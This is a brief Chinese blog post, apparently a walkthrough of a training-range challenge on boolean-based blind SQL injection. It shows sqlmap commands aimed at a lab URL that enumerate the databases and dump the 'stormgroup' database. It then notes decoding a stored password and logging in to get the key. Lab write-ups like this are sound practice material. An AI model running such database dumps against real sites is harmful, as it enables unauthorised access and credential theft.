墨者靶场 SQL注入漏洞测试(布尔盲注)

Posted 2021-06-28 曹振国cc

初级 布尔盲注

• • • • 一、查看页面源代码，发现注入点
      • 二、sqlmap一把梭
      • 三、登录查看到key

一、查看页面源代码，发现注入点

二、sqlmap一把梭

┌──(root💀caozhenguo)-[~/桌面]
└─# sqlmap -u http://219.153.49.228:40972/new_list.php?id=1

查询库
┌──(root💀caozhenguo)-[~/桌面]
└─# sqlmap -u http://219.153.49.228:40972/new_list.php?id=1 --dbs

输出全部数据
┌──(root💀caozhenguo)-[~/桌面]
└─# sqlmap -u http://219.153.49.228:40972/new_list.php?id=1 -D stormgroup --dump

解码 status=1 的密码

三、登录查看到key